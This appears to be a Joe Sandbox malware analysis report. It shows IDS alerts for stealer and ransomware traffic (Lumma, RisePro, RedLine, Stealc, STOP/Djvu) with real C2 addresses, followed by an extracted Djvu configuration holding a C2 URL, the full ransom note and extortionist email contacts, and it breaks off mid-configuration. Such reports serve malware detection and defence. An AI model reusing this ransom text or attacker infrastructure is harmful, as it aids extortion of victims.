ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:12.848246
SID:	2052775
Source Port:	49957
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	05/24/24-09:43:03.220077
SID:	2046269
Source Port:	49813
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:54.969626
SID:	2052775
Source Port:	49892
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:20.138785
SID:	2052775
Source Port:	49992
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:11.290871
SID:	2046266
Source Port:	50500
Destination Port:	49946
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:52.709354
SID:	2052775
Source Port:	49881
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 147.45.47.126

Timestamp:	05/24/24-09:43:02.949433
SID:	2046269
Source Port:	49879
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 5.42.65.115

Timestamp:	05/24/24-09:42:34.408762
SID:	2046045
Source Port:	49835
Destination Port:	40551
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.906634
SID:	2052775
Source Port:	49964
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:58.566429
SID:	2052775
Source Port:	49913
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	05/24/24-09:43:19.313472
SID:	2046269
Source Port:	49972
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	05/24/24-09:43:19.313472
SID:	2046269
Source Port:	49973
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.172.128.170

Timestamp:	05/24/24-09:42:23.306775
SID:	2044243
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:11.888188
SID:	2052775
Source Port:	49953
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:02.207394
SID:	2052775
Source Port:	49926
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:09.489817
SID:	2052775
Source Port:	49940
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.170

Timestamp:	05/24/24-09:42:25.189728
SID:	2044246
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:58.487336
SID:	2046266
Source Port:	58709
Destination Port:	49907
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:58.718400
SID:	2046267
Source Port:	58709
Destination Port:	49907
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.170

Timestamp:	05/24/24-09:42:24.732558
SID:	2044244
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:43.184361
SID:	2046266
Source Port:	50500
Destination Port:	50022
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:18.437591
SID:	2052775
Source Port:	49987
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:58.559823
SID:	2052775
Source Port:	49910
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:52.883403
SID:	2046266
Source Port:	58709
Destination Port:	49879
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:11.555269
SID:	2052775
Source Port:	49950
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:55.556497
SID:	2046267
Source Port:	58709
Destination Port:	49879
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.235412
SID:	2052775
Source Port:	49961
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Suspected PrivateLoader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 85.192.56.26

Timestamp:	05/24/24-09:42:20.067736
SID:	2049837
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:15.514432
SID:	2052775
Source Port:	49974
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:16.240894
SID:	2052775
Source Port:	49978
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:15.039126
SID:	2052775
Source Port:	49971
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Suspected PrivateLoader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 85.192.56.26

Timestamp:	05/24/24-09:42:03.533360
SID:	2049837
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:01.980195
SID:	2052775
Source Port:	49925
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.170 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:24.929053
SID:	2051828
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 147.45.47.126

Timestamp:	05/24/24-09:42:34.498978
SID:	2046269
Source Port:	49822
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:19.212032
SID:	2046266
Source Port:	58709
Destination Port:	49988
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Suspected PrivateLoader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 5.42.66.10

Timestamp:	05/24/24-09:42:50.287612
SID:	2049837
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.65.116 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:30.278077
SID:	2046267
Source Port:	50500
Destination Port:	49814
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:09.948405
SID:	2052775
Source Port:	49945
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 125.7.253.10 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:15.340352
SID:	2036335
Source Port:	80
Destination Port:	49963
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:17.588519
SID:	2052775
Source Port:	49986
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.65.116 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:25.562680
SID:	2046266
Source Port:	50500
Destination Port:	49815
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.65.116 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:34.133063
SID:	2046267
Source Port:	50500
Destination Port:	49815
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:57.068173
SID:	2052775
Source Port:	49903
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:12.746661
SID:	2052775
Source Port:	49956
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.65.116 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:25.684690
SID:	2046266
Source Port:	50500
Destination Port:	49814
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:49.528147
SID:	2052775
Source Port:	50038
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:53.667975
SID:	2052775
Source Port:	49886
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:05.232194
SID:	2052775
Source Port:	49930
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:20.679319
SID:	2052775
Source Port:	49994
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:08.561298
SID:	2052775
Source Port:	49937
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 5.42.65.115 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:41.924516
SID:	2046056
Source Port:	40551
Destination Port:	49835
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Blackmoon CnC Activity - Source IP: 192.168.2.4 - Destination IP: 103.146.158.221

Timestamp:	05/24/24-09:42:22.706362
SID:	2839238
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.170 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:25.528791
SID:	2051831
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 5.42.65.115

Timestamp:	05/24/24-09:42:58.311211
SID:	2043231
Source Port:	49835
Destination Port:	40551
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:58.851222
SID:	2046266
Source Port:	58709
Destination Port:	49908
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:58.239086
SID:	2052775
Source Port:	49909
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:52.805130
SID:	2052775
Source Port:	50052
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:15.791278
SID:	2046266
Source Port:	50500
Destination Port:	49972
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:59.079841
SID:	2046267
Source Port:	58709
Destination Port:	49908
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:17.334234
SID:	2052775
Source Port:	49985
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 147.45.47.126

Timestamp:	05/24/24-09:43:05.813795
SID:	2046269
Source Port:	49908
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 147.45.47.126

Timestamp:	05/24/24-09:43:05.125851
SID:	2046269
Source Port:	49907
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:33.027974
SID:	2052775
Source Port:	50008
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:16.332557
SID:	2052775
Source Port:	49979
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:11.799526
SID:	2052775
Source Port:	49952
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:56.513874
SID:	2052775
Source Port:	49902
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 5.42.67.8

Timestamp:	05/24/24-09:42:24.916536
SID:	2049060
Source Port:	49813
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:43:12.681145
SID:	2052761
Source Port:	57884
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.990613
SID:	2052775
Source Port:	49965
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:42:50.590851
SID:	2052761
Source Port:	54425
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:15.918080
SID:	2052775
Source Port:	49976
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 5.42.65.115 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:34.607962
SID:	2043234
Source Port:	40551
Destination Port:	49835
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:42.294015
SID:	2052775
Source Port:	50021
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:12.371909
SID:	2052775
Source Port:	49954
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:50.637798
SID:	2052775
Source Port:	49873
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:56.337617
SID:	2052775
Source Port:	49899
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.703003
SID:	2052775
Source Port:	49962
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.4 - Destination IP: 125.7.253.10

Timestamp:	05/24/24-09:43:13.845486
SID:	2833438
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:21.656441
SID:	2052775
Source Port:	49996
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Adware.Neoreklami.MI Activity M2 - Source IP: 192.168.2.4 - Destination IP: 44.235.180.78

Timestamp:	05/24/24-09:43:50.453081
SID:	2041922
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:38.419246
SID:	2052775
Source Port:	50016
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:54.875453
SID:	2052775
Source Port:	50054
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:14.917367
SID:	2052775
Source Port:	49970
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:55.886782
SID:	2052775
Source Port:	49896
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Suspected PrivateLoader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 85.192.56.26

Timestamp:	05/24/24-09:42:19.961876
SID:	2049837
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:31.316511
SID:	2046267
Source Port:	58709
Destination Port:	49822
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.126 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:31.088651
SID:	2046266
Source Port:	58709
Destination Port:	49822
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:25.724410
SID:	2046267
Source Port:	50500
Destination Port:	49813
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:43:15.809295
SID:	2046266
Source Port:	50500
Destination Port:	49973
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.67.8 - Destination IP: 192.168.2.4

Timestamp:	05/24/24-09:42:25.557976
SID:	2046266
Source Port:	50500
Destination Port:	49813
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:10.780720
SID:	2052775
Source Port:	49947
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:42:57.843831
SID:	2052761
Source Port:	50816
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:57.606740
SID:	2052775
Source Port:	49904
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:14.553927
SID:	2052775
Source Port:	49968
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:35.805357
SID:	2052775
Source Port:	50013
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:55.425189
SID:	2052775
Source Port:	49893
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:54.068218
SID:	2052775
Source Port:	49890
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BI6oo9z4In.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Avira: detection malicious, Label: HEUR/AGEN.1317026
Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Avira: detection malicious, Label: HEUR/AGEN.1317026

Found malware configuration

Source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore 